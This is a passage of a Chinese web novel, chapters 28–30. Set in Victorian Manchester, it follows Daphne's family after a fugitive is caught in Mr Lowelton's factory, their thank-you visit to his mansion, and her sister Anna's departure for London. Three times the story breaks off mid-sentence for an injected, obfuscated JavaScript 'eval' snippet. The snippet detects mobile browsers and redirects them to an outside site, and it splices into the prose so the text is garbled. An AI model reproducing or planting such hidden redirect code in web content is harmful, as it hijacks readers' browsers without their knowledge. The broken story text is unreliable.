当路威尔顿先生那张英俊的脸出现在黛芙妮眼中时,她开始是失望的可后来又想到也许面前的这个男人反倒是她最需要的。 “路威尔顿先生!” “你在外面等什么人吗?”路威尔顿先生迟疑片刻问。 再说还是不说之间,最后做决定的是,爸爸始终未出现的身影以及如果警官去抓艾莫斯了那路威尔顿先生怎么会出现在这里,的想法。 “是的,我爸爸。”黛芙妮捏紧了自己的手臂。 “有什么我能帮忙的?”他点头。 看着冷成一团的黛芙妮他有点焦躁,但是他还不可以做任何过界的行为,看着看着居然生出了点点对自己的恼火。 “我能和您聊聊吗?”他这句话说出来,黛芙妮就有了继续开口的勇气。 “进去。”路威尔顿先生点头,往台阶处走了几步。 “不。往那儿走吧。”黛芙妮摇头,站在外面能更快一点等到人。 “路威尔顿先生?”卡丽穿了一件厚外套站在门边,她见到路威尔顿先生还以为对方是来拿袖扣的。 28. 事毕 “我和路威尔顿先生说几句话。”黛芙妮对她说。 卡丽止住脚步却管不住眼睛,她时而和路威尔顿先生的车夫对视一眼时而装着不经意地瞟向绿草坪边。 黛芙妮收拢披肩,既然已经决定要向对方求助也就干脆地开口:“先生,您有收到什么消息吗?警局那边传来的。” “没有。”路威尔顿先生说。 他双手插兜站在昏暗的路灯下,并不主动询问。 “我爸爸去了警局,关于一件——”黛芙妮抬眼对上他总是沉静分辨不出过多情绪的黑眼睛,“一件——” “一件?”他轻微挑眉。 黛芙妮不知道他们参与的到底是什么罪,而且也不能完全肯定与面前这位先生有关联,就有些说不上来:“总之是一件很麻烦的事,也许和您工厂工人最近失窃有关。” 路威尔顿先生不爱说话、长得高大,只要和他单独相处黛芙妮就会产生压力,这会儿也是如此。 都说了关于他的工厂工人失窃的事,他居然一点也不好奇。 “不知道您有没有听说过近来有一个从利物浦来的杀人犯?他在曼彻斯特的火车站又作案了。”黛芙妮摸不准他的态度,加上让自己和一个不熟悉的人说这么大的事,关于安娜的部分她还是瞒了下来。 “不稀奇。曼彻斯特不缺杀人犯,甚至每时每刻都有这种事发生。”他眉毛都没动一下,看着满不在意。 黛芙妮从来不会无缘无故讨厌一个人,所以她给自己讨厌路威尔顿先生的理由是——他总是淡淡的好似这世上没什么能让他高看一眼,旁人的喜怒哀乐与他来说就是一场不屑一顾的闹剧。 虽然她明白自家的事和面前的这位先生没有关系,但感性上免不了因为对方看似没有同理心的行为进行迁怒。 她立马将白天见他的喜悦撇下,失了和他说话的欲望,只觉得自己像个上蹿下跳企图让他多看一眼的麻雀,可怜又可笑。 “打扰您了。”她说。吹冷风都比和这位先生谈话来得好受。 她转身离开,一双手拉了她一把。 黛芙妮感到震惊,抬眼看他:“先生?” “你说想和我说几句。” “我说完了。” 黛芙妮甩动手臂,很轻易就挣脱了。 “是我哪里又冒犯到你了吗?” 背后响起这句话的时候,黛芙妮差点没忍住开口但她不能这么做,先不说这位先生其实从头到尾都没有得罪过她再说爸爸和他关系不错,其次也许抓住艾莫斯的事需要他的帮助。 于是她背着他说:“没有。” 等背后再有动静的时候,只听到他说:“祝你有个好梦。” 他坐上马车走了。 黛芙妮又站回到台阶下方,只是这会儿再也不能一心一意想着一件事了。 “小姐,我还没把袖扣还给路威尔顿先生他怎么就走了?”卡丽问。 黄色本是温暖的颜色,但卡丽手里那枚精致的宝石袖扣却散发着冷冽的风刺,她看了一眼就收回目光。 没等来回应的卡丽重新把那枚袖扣放回屋内。 原来夜晚有那么漫长,星星会闪烁那么多下。 黛芙妮坐在台阶上,头靠铁栏杆出神。 卡丽坐在她下面的台阶打盹,呼噜声断断续续。 “黛菲?” 轻轻的一句话让黛芙妮抬起酸涩的眼睛,她现在才注意到身后的动静。 狄默奇太太扶着门框突兀地站在那儿。 “妈妈?您怎么下来了?”黛芙妮站起来。 “我摇了铃,卡丽没来。”狄默奇太太说,“你们在这里做什么?你爸爸呢?” “他去了警局。”黛芙妮刚提起的劲又泄了。 “他去警局做什么?”狄默奇太太猛地止住,“是不是不好了?” “我不知道,妈妈。”黛芙妮低落地垂着脑袋,“您先进去吧,外面冷。” 狄默奇太太坚决不肯走,甚至在台阶上坐下。 黛芙妮只得将披肩打开将她裹进来。 “妈妈您说,如果艾莫斯将安娜说出来,我们会怎么样?”黛芙妮靠在狄默奇太太的怀里,眼里湿润。 “人生在世,患难难免,如同火星飞腾,但信仰能带来安宁。”狄默奇太太喃喃。 “大概是我还不够虔诚,我对此还存着怨恨。”黛芙妮抹掉眼角的泪水。 狄默奇太太抚摸她的头顶。 卡丽还撑着下巴呼噜呼噜地进入梦乡,一点也没被打扰。 黛芙妮在妈妈膝头趴了好久,久到连风都停下,身上的热量如同即将熄灭的壁炉只余星星点点。 哒哒哒,嘎吱嘎吱。 有人来了,马蹄踏在砖路上清晰的敲击声敲开了黛芙妮沉寂的心头。 是警局的马车! “妈妈,爸爸回来了!”黛芙妮高兴地站起来,激动地跑下台阶站在街边。 “太太?你什么时候来的?”卡丽睡眼朦胧地在看到狄默奇太太的时候瞬间清醒,“你还在生病呢!” 马车停在一百零八号门口,下车的狄默奇先生大衣凌乱、没戴帽子、裤子皱巴巴的,看到黛芙妮尤其是狄默奇太太的时候十分惊讶。 “爸爸,您还好吗?”黛芙妮扶住他。 “发生什么了?”狄默奇太太对他这副形象更是吃惊。 “先生!”卡丽在后面喊了一声,表达她对狄默奇先生的关心。 “没事了,我们没事了。”狄默奇先生虽然很疲惫但眼睛很亮,他对黛芙妮三人说。 警局的马车将他放下又哒哒哒地走了。 四人回到屋内,卡丽急急忙忙去端热水烧壁炉,黛芙妮和狄默奇太太驾着狄默奇先生坐在沙发上,要他快些将‘没事了’这句话解释一下。 “艾莫斯被抓住了!”狄默奇先生高兴地说,“你猜得没错黛菲,他就在康斯坦丁的工厂。” 黛芙妮也露出笑来。 “上帝,上帝。”狄默奇太太双手合十闭上眼睛,感谢主。 “那安娜呢?”黛芙妮问。 狄默奇太太睁开眼睛看他。 狄默奇先生收起笑意,用很复杂的情绪说:“艾莫斯认罪且不承认和安娜以及我们,也就是狄默奇一家有任何关联。” 黛芙妮张张嘴又缓缓地闭上。 原以为艾莫斯对安娜只有利用,原来是有爱的吗?那安娜呢,是否对艾莫斯也是有同样情感。 “艾莫斯怎么会在路威尔顿先生的工厂?”狄默奇太太不解。 “警局不敢没有直接证据就去搜查那些大工厂,他聪明地躲进去才没被抓到。”狄默奇先生说。 “没有人发现他?”黛芙妮眼下更好奇这件事。 “有的,但他说服了两个工人,和他们合伙偷盗互相配合。”狄默奇先生说,“多亏了康斯坦丁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580516|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他愿意顶着压力让警官进去搜捕。” 黛芙妮说不出是羞愧多还是感激多:“路威尔顿先生去警局找您了?” “他来报案,说工厂偷盗事件频发希望能将犯人尽快抓出来。我猜想他晚上匆匆离开大概就是因为这件事吧,没想到正好与艾莫斯有关。”狄默奇先生说,“虽然我一开始也提了艾莫斯很可能在那里的推测,但如果不是康斯坦丁恰好来报案我想这件事又要被敷衍过去了又或是拖很久。” 黛芙妮低下头没了一开始的高兴,羞愧并不强烈但如枝条般轻打她的心。 狄默奇太太没忍住哭了出来,她抱住黛芙妮又拉着狄默奇先生的手。 “康斯坦丁是位令我敬佩的先生,他依靠敏锐的观察力和镇定的分析与理智,找到那两位犯事的工人顺利揪出艾莫斯,不过在压制混乱的时候不幸受了伤。艾尔莎,我们一定要向他表达感谢。”狄默奇先生说。 “上帝!”狄默奇太太捂嘴,“他伤得怎么样?” “他还好吗?”黛芙妮抓住爸爸的手问。 “如果不是我瞧见他衣服上的污渍以及当时随同警官的复述,我大概是想不到的。”狄默奇先生摇头说。 “我们明天就去拜访他,越快越好,决不能让他认为我们是不懂得知恩图报的一家人。”狄默奇太太说。 “是啊,爸爸。”黛芙妮忙点头。 卡丽端着热乎的茶水上来时发现:“太太,你瞧着精神好多了!” “这段时间辛苦你了。”狄默奇太太对她说。 “黛芙妮小姐才是最累的呢,瞧,她现在脸色也不大好,大概是吹冷了。”卡丽说。 等听狄默奇太太宣布那些警官再也不会上门的时候,她更是重重吐气拍打胸脯:“那些讨人厌的狗崽子要是还敢来,我一定把他们打出去!” 虽说此刻大家都还沉浸在喜悦中并不困顿但月亮早已过了最高点,狄默奇太太便让大家都回去休息。 黛芙妮拖着后知后觉萎靡的身子上三楼时,她听见安娜的房门口隐隐约约有走动的声音。 在她即将进屋时,身后响起木门运作的动静。 “他被抓了?” “是的。”黛芙妮转身,安娜的一双眼睛瞪得晶亮好似再期望她说出点什么好消息,“他认罪了。和我们没有关系。” 安娜笑了起来,近来那张多疑、惊恐的脸变得喜悦和得意,她笑着关上门。 原以为自己会失眠,结果一躺下就没了意识。 阴霾的离去让一百零八号重新焕发生机,一大早就开始敲锣打鼓。 等几位主人都睡饱坐在餐厅发现卡丽居然做了一桌子丰盛的餐食,不过谁也没责备她。 狄默奇太太更是面色红润地要求惠特妮给她倒点葡萄酒。 “爸爸,妈妈,黛菲,午安。”安娜也出现在了餐桌上。 黛芙妮身体没有不适只不过心间的烦闷还没完全散去,不搭理安娜实在是没有好心情让她回应。 狄默奇先生也不待见她,不过此时的忽略对安娜来说反倒是她最期望的。 “今天下午我们要去路威尔顿先生家里拜访他,为了感谢他昨晚的帮助。”狄默奇太太说着看了安娜一眼,“安娜,你也要去。” 黛芙妮默默地吃着豆子,不知道路威尔顿先生去报警这事是真的凑巧还是因为她说了缘故。 若是后者,她必须得郑重地向他道谢才行。 29. 看望 “他可真有钱。”安娜盯着车窗外说。 马车驶进卡斯菲尔德的滨水豪宅区,第三栋别墅就是路威尔顿公馆,那是一栋新古典主义和哥特式结合的尖顶房子。 车夫摇响繁复铁门的动作简直比磕鸡蛋还轻。 守门工人拉开铁门让马车顺利驶进豪宅的范围。 前花园不大只在两侧铺了草坪,不栽种鲜花让这里显得庄严、沉闷。 “路威尔顿先生一年得赚多少钱才住得起这样的房子?”安娜双手按在玻璃上嘀咕,“难怪那个死人脸的路威尔顿小姐整天用审视的眼神看人。” 黛芙妮也被惊叹到,心里居然想起贝拉说路威尔顿先生在瑞士银行存了一百万英镑的传言,就看这栋房子和他的大工厂来说也许没有一百万英镑四十万总是有的。 这要是以狄默奇先生的年收入来算,起码得用两千年才能攒到这个数并且一分不花。 “不知道说什么的时候就什么也不要说。”狄默奇先生在下车前叮嘱黛芙妮和安娜,主要是安娜,“最好做个哑巴。” 安娜缩回脖子,小心翼翼地点头。 车门打开,迎接他们的是路威尔顿兄妹和两位管家。 “康斯坦丁,你怎么出来了!不过看你站着我倒是放心了。”狄默奇先生先行下车,握住路威尔顿先生的手说。 接着是狄默奇太太。 “狄默奇太太。”路威尔顿兄妹说。 安娜挤着黛芙妮先下去,出了车门立马规规矩矩地打招呼安静地站在一旁不说话,但一双眼睛却没闲着。 最后是黛芙妮。 光滑、纹理紧密的黑色袖筒出现在黛芙妮眼前,有些意外。 “谢谢。”她搭上冰凉的手臂对路威尔顿先生说。 他脸色是一如既往的苍白,只是本来淡粉色的嘴唇失了血色。 等黛芙妮站定,他才收回手臂:“黛芙妮小姐。” 狄默奇夫妇瞧他刚刚的举动紧缩的眉头缓和了一分,还能如此招待客人想来伤的不严重,煎熬的心迎来了一波凉水。 黛芙妮站在安娜身边观察他,从他的脸色来看失血量不小,不过走路的姿势没有问题。 大伤没有小伤是一定的。但他还能正常走路说话,就足够让她松口气了。 等转过眼睛和路威尔顿小姐相对。 “路威尔顿小姐。”她带着笑意与对方点头。 “黛芙妮小姐。”路威尔顿小姐下半张脸露出一点笑,眼神却冷冰冰的,对人也不亲和,“我们先进去吧,康斯坦丁可吹不了冷风。” “上帝,路威尔顿先生昨晚要不是你的帮助,我都不敢想我们一家会经历什么。”狄默奇太太感激又愧疚。 “别有负担,太太。”路威尔顿先生说。 他这么说岂不是昨晚还真是因为她的话让他特地去的警局?歉疚汹涌而至,黛芙妮捏紧了手心。 女管家走在前方领他们去会客室。 路威尔顿先生和狄默奇夫妇三人交谈,最后是三位小姐。 从大门进来正对的是一个宽阔的大厅,挑高了两层,大大的水晶灯垂挂下来在深红色的屋内格外漂亮。 他们往左侧走去,几乎是两个一百零八号单层那么大的会客室映入眼帘。 女管家贴心地等人都进去再关上门,只余两名女佣应对他们的需求。 “康斯坦丁你可没说你这儿还有米莱斯的《奥菲莉娅》,这可是真迹?”狄默奇先生一眼就被挂在壁炉上的画给吸引。 “你要是喜欢我让人拿下来送去牛津路。”路威尔顿先生说。 狄默奇先生吃惊地摆手:“放在我那儿简直是暴殄天物,只有挂在这样的地方才能展现它全部的美。” 两位男士站在壁炉前交流,四位女士坐在沙发上喝茶。 黛芙妮没少和路威尔顿小姐搭话,但对方总是把话说死且态度冷硬。 她能理解这种对亲人受伤感到愤怒的情感,也确实是他们一家直接或间接引起的。 “路威尔顿小姐,路威尔顿夫妇是去了外地旅游吗?”狄默奇太太问。 狄默奇先生从不主动打探他人的背景,从一开始没见到路威尔顿夫妇只以为他们去了外地所以狄默奇太太也不知道真相是什么。 但路威尔顿小姐却不这么认为,她不信和哥哥来往较为密切的狄默奇一家会不了解。 她自认为是个眼神厉害的姑娘,平生爱好就是观察他人然后发掘假面下的真面,常常都让她分析对了后就更加热衷这项活动了。 第一眼见狄默奇一家虽不觉得是什么心思不存的人但也没多大好感,尤其是现在哥哥的受伤和他们有关系,无感直接变为了厌恶。 “他们早去世了。”她冷硬地说。不管面前的三位狄默奇有多尴尬。 “抱歉。”狄默奇太太说。她还是第一次遇见这么冷淡和高傲的小姐,说错一次话后因对方的态度一时连开口都犹豫起来。 安娜早早被嘱咐了管住嘴,她也不敢开口即便真的很想问‘你哥哥一年赚多少英镑’这个问题。 那么只剩黛芙妮了。 “抱歉提到这个话题。”她说,不是做戏的道歉她是发自内心的,“我们没有不尊重的意思。” 路威尔顿小姐应了一声后低头开始摆弄袖口的蕾丝,让黛芙妮更不好意思打扰她。 等路威尔顿先生和狄默奇先生过来时,立马就察觉了气氛的不对。 撇嘴的安娜、无措的狄默奇太太、冷漠的路威尔顿小姐以及沉默的黛芙妮。 “你们在说什么?”狄默奇先生巡视一圈后问。 三位年轻小姐没人开口,只有狄默奇太太让路威尔顿先生赶紧坐下,免得身体不适。 “你伤到哪里了?”狄默奇先生懊恼自己刚刚的粗心,连忙问。 “只是手臂。”路威尔顿先生说。 “还有背部,被重物撞击。”路威尔顿小姐说。 这下狄默奇一家都惊呼起来,狄默奇太太更是让路威尔顿先生躺回床上静养。 “我能站着就代表没事,只是一些小问题。”路威尔顿先生面色如常。 安娜拉扯黛芙妮的袖子,贴着她小声说:“我想去盥洗室,爸爸会骂我吗?” “再坐一会儿就能回去了。”黛芙妮说。 “但我有些憋不住。”安娜弯着腰,一动不动的。 黛芙妮没办法,让她自己去说。 “我不敢!拜托,黛菲。”安娜求她。 见黛芙妮不理她了,安娜又忍了一会儿直到再也忍不下去了才犹豫地开口:“路威尔顿小姐,盥洗室在哪里?” 路威尔顿小姐让女佣带她去,为了看住安娜,黛芙妮在妈妈的眼神指示下跟了上去。 出了会客室,黛芙妮也不觉这是个不好的决定,至少不用和阴阳怪气又冷淡的路威尔顿小姐坐在一块儿。 叹气。就算她羞辱她,她也应该受着,路威尔顿先生是他们一家的恩人。 穿过楼梯后的长长走廊来到盥洗室,安娜小步进去,黛芙妮站在门口等她。 不过她并不无聊,因为这条走廊挂了好几幅名画足够她打发时间。 “黛芙妮小姐。” 黛芙妮转头:“路威尔顿先生?你怎么来这里了,发生什么事了?” “没有。”他在她身边停下,与她看向同一幅画。 只有他一人来,女佣也不知道什么时候离开了,黛芙妮就想向他道谢:“谢谢您,先生。” 他点头。 面前的画谁也看不进去,两只手之间的距离不过两拳。 “还有——对不起,昨天对您的态度有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590327|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失礼。”黛芙妮有点紧张,就算对方不原谅她也不能说他不够大气,谁让自己是无理的一方。 “是我对你的态度太失礼了。”他站得笔直,“我没有高高在上的想法。” 黛芙妮诧异地看了他一眼又盯回画框。 “我知道,每个人性格不一样。而且你也没有对我失礼。”她说,想起对方受伤的事又问,“路威尔顿小姐说您伤得不轻,长时间站着真的没事吗?” “不。”他不愿再继续围绕受伤的话题转,“我想邀请你们留下用过晚餐再离开。” “这多麻烦!”黛芙妮拒绝。 他不说话了,走廊安静的像不存在,无形的压力给到黛芙妮。 其实他确实是位不错的先生,她思考,关于工人的问题她一知半解也无法下定论,但帮了狄默奇这么大一个忙的事却是实打实的,就是现在受了伤也热情地挽留他们用了晚餐再走。 黛芙妮告诉自己她应该热情一点。 “我看这里挂了很多约翰·埃弗里特·米莱斯的作品,原来您喜欢他画的画吗?” “也不是。不过他确实是一位写实能力很强的画家,大多描绘了社会下层人民的生活。”路威尔顿先生说,“我有一幅他的《基督在他父母的房子里》,你想去看看吗?” “您居然还有这幅画!”黛芙妮吃惊,“可以吗?” 路威尔顿先生侧过身:“当然可以。” 高兴之余黛芙妮也没忘了安娜:“可是安娜等会出来要是没见我怎么办?” “我让女佣过来。” 犹豫一秒黛芙妮就同意了,她高兴地跟在路威尔顿先生身边往来时的方向走。 “啊!”她猛地挺住,“我还没有和爸爸妈妈说。” “他们已经在那儿了。” 这下彻底没有顾虑的黛芙妮欢快地动起来。 从楼梯后面的另一个入口进去,走过一段不长的走廊来到一间十分开阔的房间。 四面红木墙壁上挂满了画,中间还摆放了很多雕塑。 狄默奇先生赞叹的声音绵绵不绝,狄默奇太太被挡在雕像身后,裙摆的一角露出来和他们打招呼。 黛芙妮第一眼就被震惊住了,她去过很多次画展都不如这里的藏品多,更别说他们还全部摆在一块。 路威尔顿先生等她回过神才继续领着她来到另一边。 这幅画和人们想象中的基督一点也不一样。 看上去就是一个普通的木匠人家,单看只能看出他们的贫穷、艰辛。 画中一家人都在忙碌手里的活计,不能稍有懈怠。 而画面最前方的白衣少年吻着母亲让这个场景又充满了温情。 “大多数基督徒是不承认这幅作品的艺术性的。”路威尔顿先生说,“狄更斯也曾指责米莱斯,认为他将神圣家族用这样低端的手法呈现出来是玷污。” “据记载,当时圣约瑟夫带着圣母和主逃往埃及后,生活极为穷窘,最后他只能靠做木匠活计安下身来,所以我认为这画面是接近真实情形的。”黛芙妮转头问,“我可以靠近一点吗?” 路威尔顿先生点头。 黛芙妮凑近观察,米莱斯为了营造真实感,木匠的各种工具都画了出来,地上还堆着刨花和木屑。 “您看,主的手心和鲜血滴落在脚背上的地方都是日后被钉在十字架上的痕迹,就连蹲在木梯上的鸽子都暗示了圣灵的标志。”黛芙妮说。 她絮絮叨叨了好久才满足地停下,一转身就与路威尔顿先生四目相对。 脸色泛红:“我是不是太吵了?” 没等来对方的回复,狄默奇太太听到声音走过来:“黛菲?” “妈妈。” 黛芙妮又向她介绍了这幅画,两人一时忘了那位主人家,只沉浸在自己的世界里。 30. 离开 路威尔顿家的餐厅和他们的会客室差不多大,一张比利时黑金花大理石餐桌摆在中间,昂贵的蓝玲花高矮错落地在桌上堆成一道花墙,面前一套套精美的镀金餐盘在烛光下闪闪发光。 黛芙妮拿起刀叉,发现手柄居然是用贝母做的。 一张能容下十六人的餐桌,奢华宽敞的餐厅,让狄默奇一家自动安静下来。 “你们怎么不说话?”路威尔顿小姐随意地抬头。 “这道焗蜗牛非常美味。”狄默奇太太抬头说。 “厨师是专门从法国找来的,确实比本地厨师更会处理这种食材。”路威尔顿小姐说。 狄默奇太太又对她笑了一下,不再开口。 第一次吃法国菜的黛芙妮十分喜爱,只是此刻的气氛太古怪了让她无法沉浸地品味。 “不如来点音乐吧。”路威尔顿小姐放下刀叉说,“美妙的音乐有助于打开我的胃口。” “当然。”见妈妈很勉强,黛芙妮替她回答。 路威尔顿小姐对她扯了一下嘴角,男管家这会儿已经将人带来了。 那人穿着正装站在餐厅一角拉起小提琴,黛芙妮也是现在才注意路威尔顿兄妹吃饭听音乐不是突然的,因为表演者站的地方有专门的谱架和凳子,显然在这里这是一件很普通的事。 “你们有想听的吗?”路威尔顿小姐问。 “我们没有要求,能在这时候听一曲就已经很惊喜了。”狄默奇先生说。 黛芙妮抬眼,意外与路威尔顿先生四目相对。 他坐在她斜对面,对视对于她来说是意料之外的事,她下意识地眨眼睛然后微笑。 “黛芙妮小姐觉得《e小调小提琴协奏曲》怎么样?”路威尔顿先生问。 “很好。”黛芙妮说。 一顿饭吃得实在是煎熬,优美的音乐都无法让黛芙妮放松,用过饭后甜点,狄默奇一家稍坐了一会儿就迫不及待地起身想要离开。 路威尔顿兄妹站在门口目送他们。 “你刚刚不是说去换药?玛丽安可没见到你。”多琳盯着马车屁股说,“怎么家里的路你都不认识了?还是说你找了新的换药女佣?” 等马车彻底出了公馆,康斯坦丁才往回走:“我最应该的是找一位新的家教,让她告诉你客人上门时应该怎么做。” 多琳在他面前也摆不出冷漠的样子:“我是为了谁?” “别打着这种旗子和我说话,令人厌恶。”康斯坦丁坐在会客室的沙发上,跷起腿,神情不愉。 “你是我唯一的家人,我甚至都不能表达我的愤怒吗?”多琳在他身边坐下说,“要不是那个愚蠢的女人,利物浦的杀人犯怎么会到曼彻斯特来。” “你说谁?” “狄默奇小姐,安娜·狄默奇!” 康斯坦丁收回目光表示赞同:“愚蠢、无知、虚荣,符合我对大部分女性的看法。” 多琳笑起来:“你真的把他们当朋友了吗?” 康斯坦丁看她。 “可我觉得他们并没有。你们来往次数也不少他们连路威尔顿家最基本的信息都不曾了解,一切不过都是做戏罢了。” “我没有和别人介绍自己家庭背景的癖好。” 多琳抿嘴:“这不是他们失礼的理由。” “所以你就对她摆脸色。” 多琳倒在沙发上,哼了一声:“我摆不摆脸色都不耽误你得不到黛芙妮的一个好脸色。” 宽阔昏暗的会客室里,康斯坦丁勾起嘴角,放松地靠在沙发背上闭目不再说话,他一向有耐心也有实力,更何况他已经得到了。 返程的狄默奇一家的气氛那就温馨多了。 安娜憋了一下午憋狠了,连狄默奇先生都不能阻止她发泄一下说话的火气。 “我敢打赌,路威尔顿先生一年起码赚这个数!”她说,“那一屋子的名画还有雕塑不说,我问了女佣,公馆里还有一个巨大的舞厅足有六根罗马柱支撑!” “有一栋房子的屋顶还是琉璃,一到晴天太阳照下来美不胜收。”安娜继续说,“这么大一座公馆光仆人就得十位以上,还不包括马车夫、守门工人等。” “讨人厌的路威尔顿小姐脖子上的珠宝足足有鸡蛋那么大,裙子的布料更是昂贵。路威尔顿先生还未订婚,且我听说他们也不是什么历史悠久的家族想来对结婚对象没有太高的要求。”安娜说,“妈妈,您说我怎么样?” 狄默奇太太只想知道:“你什么时候问的女佣?天呐!要是她再说给路威尔顿先生听,我们还有什么脸面。” 安娜顿了一下:“我想不会的吧。” 虽然公馆的华丽听起来让人向往但如果是和路威尔顿兄妹一起生活,黛芙妮认为再有钱她也受不了。 狄默奇先生盯着安娜说:“我给你买了一张去伦敦的车票,就在后天。” “爸爸?”安娜愣愣地看他。 “我和你爸爸决定让你去你舅舅家修养一段时间,这里对你来说不太愉快不是吗?”狄默奇太太叹气。 “可是,只有我一个人吗?”安娜害怕地抓住狄默奇太太的手,“我不去!” “你没有拒绝的资格,后天一早我就送你去火车站。”狄默奇先生说。 黛芙妮不想说话,虽然送走安娜让她有些许的触动可面对她,那就更困难了。 马车一停,安娜第一个跑下去,她捂着脸噔噔噔地上了楼。 卡丽还维持着开门的姿势,没搞懂这是怎么了。 “安娜后天早上去伦敦,卡丽你帮她收拾行李。”狄默奇先生脱下帽子说。 “去伦敦?”卡丽吃惊。 黛芙妮上楼卸妆,坐在小圆凳上摘耳坠与镜子里的自己对视,叹气。 安娜始终拧不过长辈,后天一早就被狄默奇先生送去了火车站。 曼彻斯特的火车站大部分是运送棉花的搬运工人和从其他地方来的失业者,不过穿着光鲜亮丽的人也不少。 站在拱形顶棚下的站台边,安娜又哭了起来,她拿手帕按在脸上,低着脸跟在狄默奇先生身后,身边是狄默奇太太。 黛芙妮走在最后,卡丽拎着一个大箱子小声说:“安娜小姐要去伦敦多久?也不知道我帮她拿的衣服够不够。” “爸爸会按时寄生活费的,阿德勒舅舅和舅妈是非常慷慨热心的人,安娜在那里不会受到什么委屈。”黛芙妮对她说。 火车喷着蒸汽,叮叮当当地停在轨道上,上上下下的人流多如麻雀。 “安德鲁麻烦你了。”狄默奇先生对同样要去伦敦的库克先生说,他还得帮忙将安娜送到等候在伦敦火车站的阿德勒一家手中。 “放心吧,伦敦我去过很多次了。”库克先生笑着说,他正好要去那儿出差。 卡丽和狄默奇先生将行李先送上去,库克先生等在一边等安娜和她的家人告别。 “妈妈,我必须得去吗?”安娜握住狄默奇太太的手,紧张地回头。 “安娜,你不是喜欢那些花边、帽子吗?你舅舅家就在伦敦乡下。听说伦敦的地标都建得十分宏伟......”狄默奇太太说着默了下来,接着又开口,“去住一段时间对你,对黛菲,都是一件不错的事。” 安娜看向一边始终保持沉默的黛芙妮,来到她面前:“抱歉,黛菲。” 黛芙妮抬眼看她,扯不出笑也打心底没话要说。 狄默奇先生已经下来了,留卡丽在那儿看行李,他招呼安娜赶紧上车。 “妈妈,记得给我写信,还有黛菲。”安娜任命地松开手,跟在库克先生身后上了火车。 狄默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601501|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇太太揽住黛芙妮,摩挲她的臂膀。 “走吧。”狄默奇先生等火车启动后说。 五月,曼彻斯特的气温还是维持在早晚寒冷的水平线,只有中午才能感受一点热度。 距离安娜离开已经有一周了,大概得益于她之前长达半个月的禁闭,对于再次少了一个人的餐桌众人接受良好。 贝拉听说这事的时候还表示了遗憾,为了安慰她认为应当失落的黛芙妮特地订了两张歌剧院的门票。 “我以为比起安娜,你更应该是那个爱出去旅游的人。”贝拉挽着黛芙妮的手臂说。 此时她们正从豪华剧院出来,两人也不坐马车而是选择以漫步的方式前行。 “我确实羡慕那些随时就能出发的旅行者,听闻南方的湖区风景秀丽、清新宜人,仅仅是几行印在书上的文字就令我心神向往。”黛芙妮说,“不过,总不能我和安娜都离开吧,爸爸妈妈还不习惯呢。” “这么说我还得庆幸你留下来,不然我也会不习惯的。”贝拉说。 她仔细看了黛芙妮的眉眼:“那个小偷一定被抓到了吧,瞧你和狄默奇太太脸色好了不少。” 黛芙妮露出一个舒心的笑:“是的,终于结束了。” 她们拐进街道,不打算直直奔向牛津路而是随意地闲逛。 遇见一间新开的香薰店,随手推开门走进去。 黛芙妮拿起一对星星样式的香薰爱不释手,小小一个非常精致,瞬间她便想好了要将它们放在床头和梳妆台上。 之后又挑中了一对百合花样式的蜡烛,打算放在会客室。 “下周加尔顿太太要举办一场慈善拍卖会,你会去吗?”出来后贝拉问。 “加尔顿太太?我听说她前些日子去了什罗普郡,她回来了?”黛芙妮说,“不过,你怎么就确定她会给狄默奇发邀请函?” “加尔顿太太虽然是出了名的严苛,但她同时也十分喜爱与人结交。从利物浦来的新邻居想来早就传到她耳里了,我猜她一定想见见你们。”贝拉说。 “她是一位寡居的太太对吗?”黛芙妮向她确认。 “是的,加尔顿先生在五年前不幸因病去世,好在他们还有一双儿女,否则加尔顿太太一定会觉得接下来的人生十分难熬。”贝拉说。 “你有兴趣和我说说吗?”黛芙妮说。 “加尔顿太太的女儿西格莉德四年前嫁给了奥尔德里奇先生,他们也住在牛津路,只不过我们在尾他们在头。”贝拉说,“至于加尔顿太太的儿子,杰克,噢,一个花花公子,未婚,在银行工作。” 接着贝拉又介绍了几位名气较大的邻居们,黛芙妮将他们的关系和名字记在心里。 搬来几个月里除了附近的几位邻居,其他稍远些的他们都没见过,主要是也没人牵线。 她们来到教堂,这里一如第一眼见到的那样:苗条的鸽子停在地上或椅子上,偶尔几只在尖顶十字架上。 人不多,零星几位坐在长椅上不知在忏悔还是祈祷。 “说实话,在这里生活那么多年,来教堂的次数大概不超过三次。”贝拉花了四分之一的法新买了一小袋面包渣用来喂鸽子。 她蹲在地上,任由它们靠近、驻足、抢食。 黛芙妮余光瞥见一个熟悉的身影,她走上前问:“这篮花多少钱?” 派翠西亚蹲在地上望着她说:“一个便士。” 